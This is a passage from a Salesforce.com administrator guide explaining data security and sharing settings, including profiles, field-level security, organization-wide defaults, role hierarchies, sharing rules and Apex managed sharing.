fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing. See
Tracking Field History on page 837.

Setup Audit Trail


Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization's
configuration. See Monitoring Setup Changes on page 578.

See Also:
Security Overview
Administrator setup guide: Security Implementation Guide

Securing Data Access


The available data management options vary according to which Salesforce.com Edition you have.

Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need
to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of
data access for your users.

518
Security and Sharing Securing Data Access

To enable users to do their job without exposing data that they do not need to see, Salesforce.com provides a flexible, layered
sharing design that allows you to expose different data sets to different sets of users.

• To specify the objects and tabs that a user can access, you can assign a profile.
• To specify the fields that a user can access, you can use field-level security.
• To specify the individual records that a user can view and edit, you can set your organization-wide defaults, define a role
hierarchy, and create sharing rules.

Tip: When implementing security and sharing rules for your organization, make a table of the various types of users
in your organization. In the table, specify the level of access to data that each type of user needs for each object and
for fields and records within the object. You can refer to this table as you set up your security model.

The following describes these security and sharing settings:


Object-Level Security (Profiles)
Object-level security provides the bluntest way to control data in Salesforce.com. Using object-level security you can
prevent a user from seeing, creating, editing, or deleting any instance of a particular type of object, such as a lead or
opportunity. Object-level security allows you to hide whole tabs and objects from particular users, so that they do not
even know that type of data exists.
You specify object-level security settings on profiles. A profile is a collection of settings and permissions that determine
what a user can do in the application, similar to a group in a Windows network, where all of the members of the group
have the same folder permissions and access to the same software.
Profiles are typically defined by a user's job function (for example, system administrator or sales representative), but you
can have profiles for anything that makes sense for your organization. A profile can be assigned to many users, but a user
can be assigned to only one profile at a time. It is worth spending the necessary time up-front to align your various user
sets with profiles, depending on what they need to see and do in the application.

Field-Level Security
Once you have restricted access to objects as a whole with profiles, you may want to limit access to individual object
fields. Field-level security controls whether a user can see, edit, and delete the value for a particular field on an object.
It allows you to protect sensitive fields without having to hide the whole object from certain profiles. Field-level security
is controlled within profiles.
Unlike page layouts, which only control the visibility of fields on detail and edit pages, field-level security controls the
visibility of fields in any part of the app, including related lists, list views, reports, and search results. To be absolutely
sure that a user cannot access a particular field, it is important to use the field-level security page for a given object to
restrict access to the field. There are no other shortcuts that provide the same level of protection for an individual field.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.

Record-Level Security (Sharing)


After setting object- and field-level access permissions for your various profiles, you need to configure the access permissions
for the actual records themselves. Record-level security allows you to grant users access to some object records, but not
others.
To specify record-level security, set your organization-wide defaults, define a role hierarchy, and create sharing rules:

519
Security and Sharing Securing Data Access

• The first step in record-level security is to determine the organization-wide defaults for each object. Organization-wide
sharing settings specify the default level of access to records and can be set separately for accounts (including assets
and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects.
For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write.
You use organization-wide defaults to lock down your data to the most restrictive level, and then use the other
record-level security and sharing tools (role hierarchies, sharing rules, and manual sharing) to open up the data to
other users who need to access it. For example, for users whose profiles allow them to see and view opportunities,
you can set the default to Read-Only. Those users are able to read all opportunity records, but cannot edit any unless
they own the record or are granted additional permissions.
• The first way you can share access to records is by defining a role hierarchy. Similar to an organization chart, a
hierarchy represents a level of data access that a user or group of users needs. The role hierarchy ensures that a manager
always has access to the same data as his or her employees, regardless of the organization-wide default settings. Role
hierarchies do not have to match your organization chart exactly. Instead, each role in the hierarchy should represent
a level of data access that a user or group of users needs.
You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records
based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example,
you could create a territory hierarchy in which a user with the “North America” role has access to different data than
users with the “Canada” and “United States” roles.
Note: Although it is easy to confuse profiles with roles, they control two very different things. Profiles control
a user's object- and field-level access permissions. Roles primarily control a user's record-level access permissions
through role hierarchy and sharing rules.

• Sharing rules let you make automatic exceptions to organization-wide defaults for particular sets of users to give them
access to records they do not own or cannot normally see. Sharing rules, like role hierarchies, are only used to open
up record access to more users, and can never be stricter than your organization-wide default settings. Sharing rules
work best when they are defined for a particular set of users that you can determine or predict in advance, rather than
a set of users that is frequently changing. A set of users can be a public or personal group, a role, a territory, or a
queue.
Sometimes it is impossible to define a consistent group of users who need access to a particular set of records. In
those situations, record owners can use manual sharing to give read and edit permissions to users who would not
have access to the record any other way. Although manual sharing is not automated like organization-wide defaults,
role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need
to see them.
If sharing rules and manual sharing do not give you the control you need, you can also use Apex managed sharing.
Apex managed sharing allows developers to use Apex to programmatically share custom objects. When you use Apex
managed sharing to share a custom object, only users with the “Modify All Data” permission can add or change the
sharing on the custom object's record, and the sharing access is maintained across record owner changes.

See Also:
Managing the Sharing Settings
Managing Roles

520
Security and Sharing Managing the Sharing Settings

Managing the Sharing Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set default sharing access: “Manage Users”
AND
“Customize Application”

Using Salesforce.com, you can control access to data at many different levels. For example, you can control the access your
users have to objects by customizing user profiles. Within objects, you can control the access users have to fields using field-level
security. To control access to data at the record level, use the sharing settings described below.
To view your sharing settings, click Setup ➤ Security Controls ➤ Sharing Settings. You can either view all lists at once, or
you can use the Manage sharing settings for drop-down list at the top of the page to view only organization-wide
defaults and sharing rules for a selected object.

Organization-Wide Defaults
Your organization-wide default sharing settings give you a baseline level of access for each object and enable you to extend
that level of access using hierarchies or sharing rules. For example, you can set the organization-wide default for leads to Private
if you only want users to view and edit the leads they own. Then, you can create lead sharing rules to extend access of leads to
particular users or groups.

Sharing Rules
Sharing rules represent the exceptions to your organization-wide default settings. If you have organization-wide sharing defaults
of Public Read Only or Private, you can define rules that give additional users access to records they do not own.
Tip: Sometimes it is impossible to define a consistent group of users who need access to a particular set of records.
In those situations, record owners can use manual sharing to give read and edit permissions to users who would not
have access to the record any other way. Although manual sharing is not automated like organization-wide defaults,
role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need
to see them.

Apex Managed Sharing


Apex managed sharing allows developers to use Apex to programmatically share custom objects. When you use Apex managed
sharing to share a custom object, only users with the “Modify All Data” permission can add or change the sharing on the
custom object's record, and the sharing access is maintained across record owner changes.
For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

Sharing Overrides
When an object is selected in the Sharing Settings page, the page includes a Sharing Overrides related list, which shows any
profiles that ignore sharing settings for that object. For each profile, the list specifies the permissions that allow it to override

521
Security and Sharing Managing the Sharing Settings

sharing settings. The “View All Data” and “Modify All Data” permissions override sharing settings for all objects in the
organization, while the object permissions “View All” and “Modify All” override sharing settings for the named object.
To override sharing settings for specific objects, you can create or edit custom profiles that use the “View All” and “Modify
All” object permissions. These permissions provide access to all records associated with an object across the organization,
regardless of the sharing settings. Before setting these permissions, compare the different ways to control data access.

Other Methods for Allowing Access to Records


In addition to sharing settings, there are a few other ways to allow multiple users access to given records:
Map category groups to roles
Control access to data categories by mapping them to user roles. See About Category Group Visibility on page 1227.

Queues
Create queues to help your teams manage leads, cases, and custom objects. Once records are placed in a queue either
manually or through an automatic case- or lead-assignment rule, records remain there until they are assigned to a user
or taken by one of the members of the queue. Any queue member or users above them in the role hierarchy can take
ownership of records in a queue. Use queues to route lead, case, and custom object records to a group.

Teams
For accounts, opportunities, and cases, record owners can use teams to allow other users access to their records. A team
is a group of users that work together on an account, sales opportunity, or case. Record owners can build a team for each
record that they own. The record owner adds team members and specifies the level of access each team member has to
the record, so that some team members can have read-only access and others can have read/write access. The record
owner can also specify a role for each team member, such as “Executive Sponsor.” In account teams, team members also
have access to any contacts, opportunities, and cases associated with an account.
Note: A team member may have a higher level of access to a record for other reasons, such as a role or sharing
rule. In this case, the team member has the highest access level granted, regardless of the access level specified
in the team.

See Also:
Securing Data Access
Managing Profiles
Sharing Model Fields
About Sharing Rules
Sharing Considerations
Account Team Overview
Sales Teams Overview
Case Teams Overview

522
Security and Sharing Setting Your Organization-Wide Sharing Model

Setting Your Organization-Wide Sharing Model


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set default sharing access: “Manage Users”
AND
“Customize Application”

Administrators can use organization-wide sharing settings to define the default sharing model for an organization.
Organization-wide sharing settings specify the default level of access to records and can be set separately for accounts (including
assets and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects.
For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write.
In environments where the sharing model for an object is set to Private or Public Read Only, an administrator can grant users
additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can only be used
to grant additional access—they cannot be used to restrict access to records beyond what was originally specified with the
sharing model through organization-wide defaults.
Important: If your organization uses a Customer Portal, before you enable contacts to access the portal, set the
organization-wide sharing defaults on accounts, contacts, contracts, assets, and cases to Private. This ensures that by
default your customers can view only their own data. You can still grant your Salesforce.com users Public Read/Write
access by creating sharing rules in which all internal users share with all internal users.

By default, Salesforce.com uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users
above the record owner in the hierarchy. Professional, Enterprise, Unlimited, and Developer Edition organizations can disable
this for custom objects using the Grant Access Using Hierarchies checkbox. If you deselect this checkbox for a custom object,
only the record owner and users granted access by the organization-wide defaults receive access to the records.

Setting Organization-Wide Sharing Defaults


1. Click Setup ➤ Security Controls ➤ Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want.
4. To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies for any custom object that
does not have a default access of Controlled by Parent.
Note: If the Grant Access Using Hierarchies checkbox is deselected, users that are higher in the role hierarchy
don't receive any access based on role. However, users can gain access to records they don't own through other
means, such as the “View All” and “Modify All” object permissions, and the “View All Data” and “Modify All
Data” system permissions.

Limitations
You can't change the organization-wide sharing default setting for some objects:

523
Security and Sharing Setting Your Organization-Wide Sharing Model

• Solutions are always Public Read/Write.


• Service contracts are always Private.
• The ability to view or edit a document, report, or dashboard is based on a user's access to the folder in which it's stored.
• Users can only view the forecasts of other users who are placed below them in the role hierarchy, unless forecast sharing
is enabled. For more information, see Manually Sharing a Forecast on page 1092.
• When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide
default is set to Controlled by Parent and it is not editable.
• You can't change the organization-wide default settings from private to public for a custom object if an Apex script uses
the sharing entries associated with that object. For example, if a script retrieves the users and groups who have sharing
access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's
organization-wide sharing setting from private to public.

Default Sharing Settings


The default organization-wide sharing settings are:

Object Default Access


Accounts Public Read/Write
Activities Private
Assets Public Read/Write
Calendar Hide Details and Add Events
Campaigns Public Full Access
Cases Public Read/Write/Transfer
Contacts Controlled by Parent
Contracts Public Read/Write
Custom Objects Public Read/Write
Leads Public Read/Write/Transfer
Opportunities Public Read Only
Price Books Use
Service Contracts Private

See Also:
Managing the Sharing Settings
Sharing Model Fields
Setting Sharing Rules
Creating Apex Sharing Reasons
Administrator tip sheet: Tips & Hints for Sharing Data
Controlling Access Using Hierarchies

524
Security and Sharing Setting Your Organization-Wide Sharing Model

Sharing Model Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set default sharing access: “Manage Users”

You can use organization-wide defaults to set the default level of record access for the following objects.

• Accounts and their associated contracts and assets


• Activities
• Calendars
• Campaigns
• Cases
• Contacts
• Custom objects
• Leads
• Opportunities
• Price books
• Service contracts

You can assign the following access levels to accounts, campaigns, cases, contacts, contracts, leads, opportunities, and custom
objects.

Field Description
Controlled by Parent A user can perform an action (such as view, edit, or delete) on
a contact based on whether he or she can perform that same
action on the record associated with it.
For example, if a contact is associated with the Acme account,
then a user can only edit that contact if he or she can also edit
the Acme account.

Private Only the record owner, and users above that role in the
hierarchy, can view, edit, and report on those records.
For example, if Tom is the owner of an account, and he is
assigned to the role of Western Sales, reporting to Carol (who
is in the role of VP of Western Region Sales), then Carol can
also view, edit, and report on Tom’s accounts.

525
Security and Sharing Setting Your Organization-Wide Sharing Model

Field Description
Public Read Only All users can view and report on records but not edit them.
Only the owner, and users above that role in the hierarchy,
can edit those records.
For example, Sara is the owner of ABC Corp. Sara is also in
the role Western Sales, reporting to Carol, who is in the role
of VP of Western Region Sales. Sara and Carol have full
read/write access to ABC Corp. Tom (another Western Sales
Rep) can also view and report on ABC Corp, but cannot edit
it.

Public Read/Write All users can view, edit, and report on all records.
For example, if Tom is the owner of Trident Inc., all other
users can view, edit, and report on the Trident account.
However, only Tom can alter the sharing settings or delete
the Trident account.

Public Read/Write/Transfer All users can view, edit, transfer, and report on all records.
Only available for cases or leads.
For example, if Alice is the owner of ACME case number
100, all other users can view, edit, transfer ownership, and
report on that case. But only Alice can delete or change the
sharing on case 100.

Public Full Access All users can view, edit, transfer, delete, and report on all
records. Only available for campaigns.
For example, if Ben is the owner of a campaign, all other users
can view, edit, transfer, or delete that campaign.

Note: To use cases effectively, set the organization-wide default for Account, Contact, Contract, and Asset to Public
Read/Write.

You can assign the following access levels to personal calendars.

Field Description
Hide Details Others can see whether the user is available at given times,
but can not see any other information about the nature of
events in the user’s calendar.
Hide Details and Add Events In addition to the sharing levels set by Hide Details, users can
insert events in other users’ calendars.
Show Details Users can see detailed information about events in other users’
calendars.

526
Security and Sharing Setting Your Organization-Wide Sharing Model

Field Description
Show Details and Add Events In addition to the sharing levels set by Show Details, users
can insert events in other users’ calendars.
Full Access Users can see detailed information about events in other users’
calendars, insert events in other users’ calendars, and edit
existing events in other users’ calendars.

Note: Regardless of the organization-wide defaults that have been set for calendars, all users can invite all other users
to group events.

You can assign the following access levels to price books.

Field Description
Use All users can view price books and add them to opportunities.
Users can add any product within that price book to an
opportunity.
View Only All users can view and report on price books but only users
with the “Edit” permission on opportunities or users that have
been manually granted use access to the price book can add
them to opportunities.
No Access Users cannot see price books or add them to opportunities.
Use this access level in your organization-wide default if you
want only selected users to access selected price books. Then,
manually share the appropriate price books with the
appropriate users. For information on manually sharing a price
book to your users, see Sharing Price Books on page 1813.

You can assign the following access levels to activities.

Field Description
Private Only the activity owner, and users above the activity owner in
the role hierarchy, can edit and delete the activity; users with
read access to the record to which the activity is associated can
view and report on the activity.
Controlled by Parent A user can perform an action (such as view, edit, transfer, and
delete) on an activity based on whether he or she can perform
that same action on the records associated with the activity.
For example, if a task is associated with the Acme account
and the John Smith contact, then a user can only edit that task

527
Security and Sharing Setting Your Organization-Wide Sharing Model

Field Description
if he or she can also edit the Acme account and the John Smith
record.

See Also:
Managing the Sharing Settings
Setting Your Organization-Wide Sharing Model

Sharing Considerations
Your organization's sharing model gives users access to records they do not own. The sharing model is a complex relationship
between role hierarchies, user profiles, sharing rules, and exceptions for certain situations. Review the following notes before
setting your sharing model:

Exceptions to Role Hierarchy-based Sharing


Users can always view and edit all data owned by or shared with users below them in the role hierarchy. Exceptions to this
include:
• An option on your organization-wide default allows you to ignore the hierarchies when determining access to data. For
more information on this setting, see Controlling Access Using Hierarchies on page 530.
• Contacts that are not linked to an account are always private. Only the owner of the contact and administrators can view
it. Contact sharing rules do not apply to private contacts.
• Notes and attachments marked as private via the Private checkbox are accessible only to the owner and administrators.
• Events marked as private via the Private checkbox are accessible only by the event owner. Other users cannot see the
event details when viewing the event owner’s calendar. However, users with the “View All Data” or “Modify All Data”
permission can see private event details in reports and searches, or when viewing other users’ calendars.
• Managers in the role hierarchy cannot view or edit their subordinate's records if they do not have the “Read” or “Edit” user
permissions for the type of record. Object permissions are set on a user's profile.

Deleting Records
• The ability to delete individual records is controlled by administrators, the record owner, users in a role hierarchy above
the record owner, and any user that has been granted “Full Access.”
• If the sharing model is set to Public Read/Write/Transfer for cases or leads or Public Full Access for campaigns, any user
can delete those types of records.

Adding Related Items to a Record


• You must have “Read/Write” access to a record to be able to add notes or attachments to the record.
• You must have at least “Read” access to a record to be able to add activities or other associated records to it.

Adding or Removing Sharing Access Manually


• The ability to manually extend the sharing access of individual records is controlled by administrators, the record owner,
users in a role hierarchy above the record owner, and any user that has been granted “Full Access.” See Sharing Accounts

528
Security and Sharing Setting Your Organization-Wide Sharing Model

on page 77, Sharing Campaigns on page 2047, Sharing Contacts on page 166, Sharing Opportunities on page 1764, Sharing
Cases on page 2301, and Sharing Leads on page 2070.
• Changing your sharing model deletes any manual shares your users have created.

User Permissions and Object-Level Permissions


While your sharing model controls visibility to records, user permissions and object-level permissions control what users can
do to those records.
• Regardless of the sharing settings, users must have the appropriate object-level permissions. For example, if you share an
account, those users can only see the account if they have the “Read” permission on accounts. Likewise, users who have
the “Edit” permission on contacts may still not be able to edit contacts they do not own if they are working in a Private
sharing model.
• Administrators, and users with the “View All Data” or “Modify All Data” permissions, have access to view or edit all data.

Account Sharing
• To restrict users’ access to records they do not own that are associated with accounts they do own, set the appropriate access
level on the role. For example, you can restrict a user's access to opportunities they do not own yet are associated with
accounts they do own using the Opportunity Access option.
• Regardless of the organization-wide defaults, users can, at a minimum, view the accounts in their territories. Also, users
can be granted access to view and edit the contacts, opportunities, and cases associated with their territories' accounts.

Apex Sharing
• You can't change the organization-wide default settings from private to public for a custom object if an Apex script uses
the sharing entries associated with that object. For example, if a script retrieves the users and groups who have sharing
access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's
organization-wide sharing setting from private to public.

Campaign Sharing
• In Enterprise, Unlimited, and Developer Editions, designate all users as Marketing Users when enabling campaign sharing.
This simplifies administration and troubleshooting because access can be controlled using sharing and profiles.
Note: Professional Edition customers cannot manage users this way because custom profiles are not enabled in
Professional Edition organizations.

• To segment visibility between business units while maintaining existing behavior within a business unit:
1. Set the campaign organization-wide default to Private.
2. Create a sharing rule to grant marketing users Public Full Access to all campaigns owned by users within their business
unit.
3. Create a sharing rule to grant all non-marketing users in a business unit Read Only access to all campaigns owned by
users in their business unit.

• When a single user, such as a regional marketing manager, owns multiple campaigns and needs to segment visibility
between business units, share campaigns individually instead of using sharing rules. Sharing rules apply to all campaigns
owned by a user and do not allow segmenting visibility.
• Create all campaign sharing rules prior to changing your organization-wide default to reduce the affect the change has on
your users.
• To share all campaigns in your organization with a group of users or a specific role, create a sharing rule that applies to
campaigns owned by members of the “Entire Organization” public group.

529
Security and Sharing Setting Your Organization-Wide Sharing Model

• Minimize the number of sharing rules you need to create by using the “Roles and Subordinates” option instead of choosing
a specific role.
• If campaign hierarchy statistics are added to the page layout, a user can see aggregate data for a parent campaign and all
the campaigns below it in the hierarchy regardless of whether that user has sharing rights to a particular campaign within
the hierarchy. Therefore, consider your organization's campaign sharing settings when enabling campaign hierarchy
statistics. If you do not want users to see aggregate hierarchy data, remove any or all of the campaign hierarchy statistics
fields from the Campaign Hierarchy related list. These fields will still be available for reporting purposes. For more
information, see Viewing Campaign Hierarchy Statistics on page 2010.
• If the sharing model is set to Public Full Access for campaigns, any user can delete those types of records.

Campaign Member Sharing


Campaign member sharing is controlled by campaign sharing rules. Users that can see a campaign can also see associated
campaign members.

Contact Sharing
• The organization-wide sharing default for contacts is not available to organizations that have person accounts enabled.
• If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.

Price Book Sharing


• Sharing on price books controls whether users can add the price book and its products to opportunities.
• User permissions on profiles control whether users can view, create, edit, and delete price books.

Controlling Access Using Hierarchies


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set default sharing access: “Manage Users”
AND
“Customize Application”

To change the Grant Access Using Hierarchies “Manage Users”


option:
AND
“Customize Application”

Beyond setting the organization-wide sharing defaults for each object, your organization can specify whether users have access
to the data owned by or shared with their subordinates in the hierarchy. For example, hierarchies like the role hierarchy or
territory hierarchy automatically grant record access to users above the record owner in the hierarchy. The Grant Access
Using Hierarchies option in the organization-wide defaults determines the access users have to records that they do not

530
Security and Sharing Setting Your Organization-Wide Sharing Model

own, including records they do not have sharing access to but someone below them in the hierarchy does. By default, the
Grant Access Using Hierarchies option is enabled for all objects, and it can only be changed for custom objects.

To control sharing access using hierarchies for any custom object, click Setup ➤ Security Controls ➤ Sharing Settings and
Edit in the Organization Wide Defaults section. Deselect Grant Access Using Hierarchies if you want to prevent
users from gaining automatic access to data owned by or shared with their subordinates in the hierarchies.

Implementation Notes
• Regardless of your organization's sharing settings, users can gain access to records they do not own through other means
such as user permissions like “View All Data,” sharing rules, or manual sharing of individual records.
• The Grant Access Using Hierarchies option is always selected on standard objects and is not editable.
• If you disable the Grant Access Using Hierarchies option, sharing with a role or territory and subordinates only
shares with the users directly associated with the role or territory selected. Users in roles or territories above them in the
hierarchies will not gain access.
• If your organization disables the Grant Access Using Hierarchies option, activities associated with a custom object
are still visible to users above the activity’s assignee in the role hierarchy.
• If a master-detail relationship is broken by deleting the relationship, the former detail custom object's default setting is
automatically reverted to Public Read/Write and Grant Access Using Hierarchies is selected by default.
• The Grant Access Using Hierarchies option affects which users gain access to data when something is shared
with public groups, personal groups, queues, roles, or territories. For example, the View All Users option displays group
members and people above them in the hierarchies when a record is shared with them using a sharing rule or manual
sharing and the Grant Access Using Hierarchies option is selected. When the Grant Access Using
Hierarchies option is not selected, some users in these groups no longer have access. The following list covers the access
reasons that depend on the Grant Access Using Hierarchies option.
These reasons always gain access:
Group Member
Queue Member
Role Member
Member of Subordinate Role
Territory Member
Member of Subordinate Territory

These reasons only gain access when using hierarchies:


Manager of Group Member
Manager of Queue Member
Manager of Role
Manager of Territory
User Role Manager of Territory

Best Practices
• When you deselect Grant Access Using Hierarchies, notify users of the changes in report results that they can
expect due to losing visibility of their subordinates' data. For example, selecting My team's... in the View drop-down list
returns records owned by the user; it will not include records owned by their subordinates. To be included in this type of
report view, records from subordinates must be explicitly shared with that user by some other means such as a sharing rule
or a manual share. So, if no records are shared with you manually, the My... and My team's... options in the View drop-down

531
Security and Sharing Setting Your Organization-Wide Sharing Model

list return the same results. However, choosing the Activities with... any custom object report type when creating a custom
report returns activities assigned to you as well as your subordinates in the role hierarchy.

See Also:
Sharing Model Fields
Setting Your Organization-Wide Sharing Model

Creating Apex Sharing Reasons


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create Apex sharing reasons: “Author Apex”
To view Apex sharing reasons: “View Setup and Configuration”

When creating Apex managed sharing, create Apex sharing reasons for individual custom objects to indicate why sharing was
implemented, simplify the coding required to update and delete sharing records, and share a record multiple times with the
same user or group using different Apex sharing reasons.
Note: For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

Salesforce.com displays Apex sharing reasons in the Reason column when viewing the sharing for a custom object record in
the user interface. This allows users and administrators to understand the purpose of the sharing.
When working with Apex sharing reasons, note the following:

• Apex sharing reasons are only available for custom objects.


• Only users with the “Modify All Data” permission can add, edit, or delete sharing that uses an Apex sharing reason.
• Deleting an Apex sharing reason will delete all sharing on the object that uses the reason.
• You can create up to ten Apex sharing reasons per custom object.

To create an Apex sharing reason:

1. Click Setup ➤ Create ➤ Objects.


2. Select the custom object.
3. Click New in the Apex Sharing Reasons related list.
4. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record
in the user interface. The label is also enabled for translation through the Translation Workbench.
5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the Force.com API and Apex.
This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

532
Security and Sharing Setting Your Organization-Wide Sharing Model

6. Click Save.

See Also:
Recalculating Apex Managed Sharing
Force.com Apex Code Overview
Setting Your Organization-Wide Sharing Model
Granting Access to Records

Recalculating Apex Managed Sharing


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To associate an Apex managed sharing recalculation class: “Author Apex”
To run an Apex managed sharing recalculation: “Author Apex” OR “Manage Users”

Important: Apex sharing recalculations are only available by request. When packaging custom objects, remember
that associated Apex sharing recalculations are also included and may prevent the package from installing. Contact
salesforce.com for more information.

Developers can write batch Apex classes that recalculate the Apex managed sharing for a specific custom object. You can
associate these classes with a custom object on its detail page, and execute them if a locking issue prevents an Apex script from
granting access to a user as defined by the application’s logic. Apex sharing recalculations are also useful for resolving visibility
issues due to coding errors. For example, if a developer corrects a coding error that prevented users from accessing records
they should see, the correction might only affect records created after the code update. To ensure the correction applies to
existing records as well, the developer can run an Apex sharing recalculation to validate sharing on all records.
You can run Apex sharing recalculations from a custom object's detail page. You can also run them programmatically using
the Database.executeBatch method. In addition, Salesforce.com automatically runs Apex recalculation classes defined
for a custom object every time a custom object's organization wide sharing default access level is updated.
Note:
Salesforce.com automatically recalculates sharing for all records on an object when its organization-wide sharing default
access level changes. The recalculation includes access granted by sharing rules. In addition, all types of sharing are
removed if the access they grant is redundant. For example, the manual sharing which grants Read Only access to a
user is deleted when the object’s sharing model is changed from Private to Public Read Only.

For information on creating Apex managed sharing and recalculation classes, see the Force.com Apex Code Developer's Guide.
To associate an Apex managed sharing recalculation class with a custom object:

1. Click Setup ➤ Create ➤ Objects.


2. Select the custom object.
3. Click New in the Apex Sharing Recalculations related list.

533
Security and Sharing About Sharing Rules

4. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
5. Click Save.

To run an Apex sharing recalculation:

1. Click Setup ➤ Create ➤ Objects.


2. Select the custom object.
3. Click Recalculate Apex Sharing.

When working with Apex sharing recalculations, note the following:

• The Apex script that extends the sharing recalculation can process a maximum of five million records. If the script affects
more than five million records, the job fails immediately.
• You can monitor the status of Apex sharing recalculations in the Apex job queue.
• You can associate a maximum of five Apex sharing recalculations per custom object.
• You cannot associate Apex sharing recalculations with standard objects.

See Also:
Creating Apex Sharing Reasons
Force.com Apex Code Overview
Setting Your Organization-Wide Sharing Model

About Sharing Rules


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and
Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions

Sharing rules allow you to make automatic exceptions to your organization-wide default for defined sets of users. For example,
use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules can never be stricter than
your organization-wide default settings. They simply allow greater access for particular users.
You can create the following types of sharing rules:

• Account sharing rules—Based on who owns the account, set default sharing access for accounts and their associated cases,
contracts, opportunities, and, optionally, contacts.
• Account territory sharing rules—Based on territory assignment, set default sharing access for accounts and their associated
cases, contacts, contracts, and opportunities.
• Campaign sharing rules—Based on who owns the campaign, set default sharing access for individual campaign records.
• Case sharing rules—Based on who owns the case, set default sharing access for individual cases and associated accounts.
• Contact sharing rules—Based on who owns the contact, set default sharing access for individual contacts and associated
accounts.

534
Security and Sharing About Sharing Rules

• Custom object sharing rules—Based on who owns the custom object, set default sharing access for individual custom
object records.
• Lead sharing rules—Based on who owns the lead, set default sharing access for individual leads.
• Opportunity sharing rules—Based on who owns the opportunity, set default sharing access for individual opportunities
and their associated accounts.

See Also:
Setting Sharing Rules
Sample Uses for Sharing Rules
Sharing Rule Considerations
Managing the Sharing Settings
Securing Data Access

Sample Uses for Sharing Rules


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and
Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions

Sharing rules allow you to selectively grant data access to defined sets of users. Before creating sharing rules for your organization,
review the following samples and determine how sharing rules fit in your organization:

• Organizations with organization-wide defaults of Public Read Only or Private can create sharing rules to give specific users
access to data owned by other users.
• To use cases effectively, customer support users must have “Read” access to accounts and contacts. To do so, create the
appropriate sharing rules to give your customer support team access to accounts and contacts when working on cases.
• The Western and Eastern Regional Directors need to see all of the accounts created by each others’ sales reps. You can
create two public groups - one that includes the Western and Eastern Regional Director roles and one that includes the
Western and Eastern Sales Rep roles. Then create an account sharing rule so that records owned by the Western and
Eastern Sales Rep group are shared with the group containing the Western and Eastern Regional Director roles.

See Also:
Setting Sharing Rules
About Sharing Rules

535
Security and Sharing About Sharing Rules

Setting Sharing Rules


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and
Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions

User Permissions Needed


To create, edit, and delete sharing rules: “Manage Users”

Sharing rules allow you to selectively give defined sets of users access to records based on record ownership. You can define
up to 100 owner-based sharing rules for each object.
Note: You can't include High Volume Customer Portal users in sharing rules because they don't have roles and can't
be in public groups.

To create a sharing rule:

1. If you plan to share data with public groups, confirm that the appropriate public groups have been created.
2. Click Setup ➤ Security Controls ➤ Sharing Settings.
3. Click New in the appropriate related list under Sharing Rules.
4. In the owned by members of line, select a category from the first drop-down list and a data set from the second.
5. In the Share with line, select the set of users who should have access to that data: select a category from the first
drop-down list and a data set from the second.
6. Select the access setting for the users.

Access Setting Description


Read Only Users can view, but not update, records.
Read/Write Users can view and update records.
Full Access Any user in the selected group, role, or territory (if territory
management is enabled) can view, edit, transfer, delete, and
(campaigns only)
share the record, just like the record's owner.
With a Full Access sharing rule, users can also view, edit,
delete, and close activities associated with the record if the
organization-wide sharing default for activities is set to
Controlled by Parent.

536
Security and Sharing About Sharing Rules

Note:

• For account and account territory sharing rules, the Contact Access, Opportunity Access, and Case
Access options only apply to the contacts, opportunities, and cases associated with the shared accounts.
• For opportunity sharing rules, the Opportunity Access level applies to opportunities owned by the group,
role, or territory members, regardless of the associated account.
• Contact Access is not available when the organization-wide default for contacts is set to Controlled by
Parent.

7. Click Save.

Tip: Developers can use Apex to programmatically share custom objects.

Data Set Categories


